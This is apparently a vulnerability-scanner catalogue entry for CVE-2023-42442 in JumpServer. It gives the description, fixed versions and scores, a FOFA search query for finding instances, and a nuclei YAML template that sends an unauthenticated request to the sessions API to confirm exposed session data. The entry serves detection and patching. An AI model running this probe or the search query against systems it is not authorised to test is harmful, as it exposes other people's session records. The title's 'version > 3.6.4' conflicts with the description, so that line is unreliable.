CVE-2023-42442: JumpServer > 3.6.4 - Information Disclosure
- Template: CVE-2023-42442
- Name: JumpServer > 3.6.4 - Information Disclosure
- Description: JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
- Impact: The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
- Remediation: Apply the latest security patches and updates from the vendor to address this vulnerability.
- Severity: medium
- Authors: xianke
- Tags: cve2023, cve, jumpserver, exposure, fit2cloud, vuln, vkev
- References: https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91, https://nvd.nist.gov/vuln/detail/CVE-2023-42442, https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a, https://github.com/Marco-zcl/POC, https://github.com/nomi-sec/PoC-in-GitHub
- Cves: CVE-2023-42442
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-42442.yaml
- Digest: 4a0a00473045022071730802a66b889f12c8bf318a5b9148d1e9d03f7415f92d11507abe3ee9ac8c022100805850aff58fc633c17b32805f928969deff9fa8fd371c42628d364440acbc48
- Created at: 2023-09-21T04:23:42Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1160
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-42442.yaml
Classification
- Cwe: CWE-287
- Cvss score: 5.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Epss score: 0.63027
- Epss percentile: 0.99219
- Cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="JumpServer", title="jumpserver"
- Max-request: 1
- Product: jumpserver
- Vendor: fit2cloud
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| fit2cloud:jumpserver | yes | /v1/products/fit2cloud/jumpserver |
Labels
- Name: JumpServer - Authentication Bypass
- Impact: Attackers can access session replays without authentication, potentially exposing sensitive session data.
- Remediation: Upgrade to version 3.5.5 or 3.6.4 where the issue is fixed.
- Vulnerability type: broken_access_control
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-42442
- Not known: requirements
```yaml
id: CVE-2023-42442
info:
name: JumpServer > 3.6.4 - Information Disclosure
author: xianke
severity: medium
description: |
JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
reference:
- https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91
- https://nvd.nist.gov/vuln/detail/CVE-2023-42442
- https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
- https://github.com/Marco-zcl/POC
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-42442
cwe-id: CWE-287
epss-score: 0.63027
epss-percentile: 0.99219
cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fit2cloud
product: jumpserver
fofa-query:
- title="JumpServer"
- title="jumpserver"
tags: cve2023,cve,jumpserver,exposure,fit2cloud,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/terminal/sessions/"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"terminal":'
- '"user_id":"'
- '"account_id":'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
digest: 4a0a00473045022071730802a66b889f12c8bf318a5b9148d1e9d03f7415f92d11507abe3ee9ac8c022100805850aff58fc633c17b32805f928969deff9fa8fd371c42628d364440acbc48:922c64590222798bb761d5b6d8e72950
```